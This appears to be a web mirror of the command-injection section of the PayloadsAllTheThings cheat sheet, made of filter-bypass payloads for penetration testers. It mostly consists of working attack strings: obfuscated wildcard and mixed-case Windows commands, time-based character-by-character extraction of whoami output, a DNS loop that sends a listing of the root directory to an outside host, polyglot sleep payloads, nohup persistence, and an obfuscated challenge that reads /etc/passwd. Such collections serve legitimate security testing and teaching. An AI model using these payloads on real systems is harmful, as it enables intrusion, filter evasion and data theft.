Skip to content

Payload topic

Command Injection

Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.

Passages
28
Bounty reports
of this class
28 passages
Contents
  1. Command Injection
  2. Methodology
  3. Basic Commands
  4. Chaining Commands
  5. Argument Injection
  6. Inside A Command
  7. Bypass Without Space
  8. Bypass With A Line Return
  9. Bypass With Backslash Newline
  10. Bypass With Tilde Expansion
  11. Bypass With Brace Expansion
  12. Bypass Characters Filter
  13. Bypass Characters Filter Via Hex Encoding
  14. Bypass With Single Quote
  15. Bypass With Double Quote
  16. Bypass With Backticks
  17. Bypass With Backslash and Slash
  18. Bypass With $@
  19. Bypass With $()
  20. Bypass With Variable Expansion
  21. Bypass With Wildcards
  22. Bypass With Random Case
  23. Time Based Data Exfiltration
  24. Dns Based Data Exfiltration
  25. Polyglot Command Injection
  26. Backgrounding Long Running Commands
  27. Remove Arguments After The Injection
  28. Challenge

Bypass With Wildcards

SourceOn the Atlas
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc

Bypass With Random Case

SourceOn the Atlas

Windows does not distinguish between uppercase and lowercase letters when interpreting commands or file paths. For example, `DIR`, `dir`, or `DiR` will all execute the same `dir` command.

wHoAmi

Time Based Data Exfiltration

SourceOn the Atlas

Extracting data char by char and detect the correct value based on the delay. * Correct value: wait 5 seconds

  swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
  real    0m5.007s
  user    0m0.000s
  sys 0m0.000s

* Incorrect value: no delay

  swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
  real    0m0.002s
  user    0m0.000s
  sys 0m0.000s

Dns Based Data Exfiltration

SourceOn the Atlas

Based on the tool from [HoLyVieR/dnsbin](https://github.com/HoLyVieR/dnsbin), also hosted at [dnsbin.zhack.ca](http://dnsbin.zhack.ca/) 1. Go to [dnsbin.zhack.ca](http://dnsbin.zhack.ca) 2. Execute a simple 'ls'

  for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

Online tools to check for DNS based data exfiltration: * [dnsbin.zhack.ca](http://dnsbin.zhack.ca) * [app.interactsh.com](https://app.interactsh.com) * [portswigger.net](https://portswigger.net/burp/documentation/collaborator)

Polyglot Command Injection

SourceOn the Atlas

A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments. * Example 1:

  Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

  # Context inside commands with single and double quote:
  echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
  echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
  echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

* Example 2:

  Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

  # Context inside commands with single and double quote:
  echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
  echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
  echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'

Backgrounding Long Running Commands

SourceOn the Atlas

In some instances, you might have a long running command that gets killed by the process injecting it timing out. Using `nohup`, you can keep the process running after the parent process exits.

nohup sleep 120 > /dev/null &

Remove Arguments After The Injection

SourceOn the Atlas

In Unix-like command-line interfaces, the `--` symbol is used to signify the end of command options. After `--`, all arguments are treated as filenames and arguments, and not as options.

Challenge

SourceOn the Atlas

Challenge based on the previous tricks, what does the following command do:

g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}

**NOTE**: The command is safe to run, but you should not trust me.

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository. Data as of 2026-11-14.

Updated AboutDevelopersSign in